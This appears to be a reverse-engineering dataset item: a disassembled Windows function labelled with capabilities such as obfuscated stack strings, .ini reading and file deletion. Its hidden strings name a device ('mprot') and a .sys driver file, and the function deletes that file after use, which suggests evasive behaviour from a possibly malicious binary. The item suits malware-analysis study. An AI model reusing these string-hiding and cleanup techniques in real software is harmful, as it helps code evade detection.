Function at 0x40a210
Capabilities:
Check if file exists
Contain obfuscated stackstrings
Delete file
Get file attributes
Read .ini file
Set file attributes

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x44e1a3
mov eax, dword fs:[0]
push eax
sub esp, 0x8c
mov eax, dword [0x45e200]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov edi, dword [0x4d1c9c]
lea esi, [edi + 0x70]
mov dword [ebp - 0x7c], edi
call fcn.00425000
xor ebx, ebx
mov al, 0x30
mov dword [ebp - 0x74], ebx
mov byte [ebp - 0x78], 0x78
mov byte [ebp - 0x77], 0x70
mov byte [ebp - 0x76], bl
mov byte [ebp - 0x18], 0x32
mov byte [ebp - 0x17], al
mov byte [ebp - 0x16], al
mov byte [ebp - 0x15], 0x33
mov byte [ebp - 0x14], bl
cmp byte [edi + 0x80], bl
je 0x40a283
mov dword [ebp - 0x74], 0x492bc0
jmp 0x40a2c2
add edi, 0x84
lea ecx, [ebp - 0x78]
call fcn.00403e50
mov esi, 0x4609c0
test al, al
jne 0x40a2a6
lea ecx, [ebp - 0x18]
call fcn.00403e50
test al, al
je 0x40a2a9
mov dword [ebp - 0x74], esi
mov eax, dword [ebp - 0x7c]
cmp dword [eax + 0x78], 6
jb 0x40a2b7
mov dword [ebp - 0x74], esi
jmp 0x40a2c0
cmp dword [ebp - 0x74], ebx
je 0x40a4a4
mov edi, eax
add edi, 0x54
cmp dword [edi + 0x18], 0x10
jb 0x40a2d0
mov eax, dword [edi + 4]
jmp 0x40a2d3
lea eax, [edi + 4]
push eax
push ebx
push 0x455594
push str.Config
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileIntA]
mov esi, eax
mov eax, 0x73
mov edx, eax
mov ecx, 0x6d
mov word [ebp - 0x54], cx
mov word [ebp - 0x52], dx
mov edx, 0x70
mov ecx, 0x63
mov word [ebp - 0x50], cx
mov word [ebp - 0x4c], cx
mov word [ebp - 0x4e], dx
mov edx, 0x6e
mov ecx, edx
mov word [ebp - 0x4a], cx
mov ecx, 0x65
mov word [ebp - 0x48], cx
xor ecx, ecx
mov word [ebp - 0x46], cx
mov cl, 0x5c
mov byte [ebp - 0x44], cl
mov byte [ebp - 0x43], cl
mov byte [ebp - 0x42], 0x2e
mov byte [ebp - 0x41], cl
mov byte [ebp - 0x40], 0x6d
mov byte [ebp - 0x3f], al
mov byte [ebp - 0x3e], 0x6f
mov byte [ebp - 0x3d], 0x70
mov byte [ebp - 0x3c], 0x72
mov byte [ebp - 0x3b], 0x6f
mov byte [ebp - 0x3a], 0x74
mov byte [ebp - 0x39], bl
mov byte [ebp - 0x2c], dl
mov byte [ebp - 0x2b], al
mov byte [ebp - 0x2a], 0x76
mov byte [ebp - 0x29], 0x65
mov byte [ebp - 0x28], 0x66
mov byte [ebp - 0x27], dl
mov byte [ebp - 0x26], 0x2e
mov byte [ebp - 0x25], al
mov byte [ebp - 0x24], 0x79
mov byte [ebp - 0x23], al
mov byte [ebp - 0x22], bl
mov byte [ebp - 0x20], dl
mov byte [ebp - 0x1f], al
mov byte [ebp - 0x1e], 0x76
mov byte [ebp - 0x1d], 0x65
mov byte [ebp - 0x1c], 0x66
mov byte [ebp - 0x1b], dl
mov byte [ebp - 0x1a], bl
mov byte [ebp - 0x38], cl
mov byte [ebp - 0x37], cl
mov byte [ebp - 0x36], 0x2e
mov byte [ebp - 0x35], cl
mov byte [ebp - 0x34], dl
mov byte [ebp - 0x33], al
mov byte [ebp - 0x32], 0x76
mov byte [ebp - 0x31], 0x65
mov byte [ebp - 0x30], 0x66
mov byte [ebp - 0x2f], dl
mov byte [ebp - 0x2e], bl
cmp esi, 5
jne 0x40a4a4
mov eax, edi
call fcn.00424a90
lea esi, [ebp - 0x98]
call fcn.00424af0
lea edx, [ebp - 0x2c]
push edx
push eax
lea eax, [ebp - 0x70]
push eax
mov dword [ebp - 4], ebx
call fcn.0040aec0
add esp, 0xc
mov byte [ebp - 4], 2
cmp dword [ebp - 0x80], 0x10
jb 0x40a403
mov ecx, dword [ebp - 0x94]
push ecx
call fcn.0043279a
add esp, 4
mov dword [ebp - 0x84], ebx
mov byte [ebp - 0x94], bl
lea edi, [ebp - 0x38]
lea ebx, [ebp - 0x20]
mov dword [ebp - 0x80], 0xf
call fcn.00409d30
mov esi, dword [ebp - 0x7c]
mov dword [esi + 0xa4], eax
cmp eax, 0xffffffff
je 0x40a443
mov edi, dword [ebp - 0x74]
lea edx, [ebp - 0x54]
push edx
lea ecx, [ebp - 0x44]
mov edx, eax
call fcn.00409fc0
add esp, 4
mov eax, dword [esi + 0xa4]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0x2710
call dword [sym.imp.KERNEL32.dll_Sleep]
mov esi, dword [ebp - 0x6c]
mov edi, 0x10
cmp dword [ebp - 0x58], edi
jae 0x40a46b
lea esi, [ebp - 0x6c]
push esi
call dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
test eax, eax
je 0x40a493
push esi
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
test al, 1
je 0x40a48c
and eax, 0xfffffffe
push eax
push esi
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
push esi
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
cmp dword [ebp - 0x58], edi
jb 0x40a4a4
mov ecx, dword [ebp - 0x6c]
push ecx
call fcn.0043279a
add esp, 4
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.0043270e
mov esp, ebp
pop ebp
ret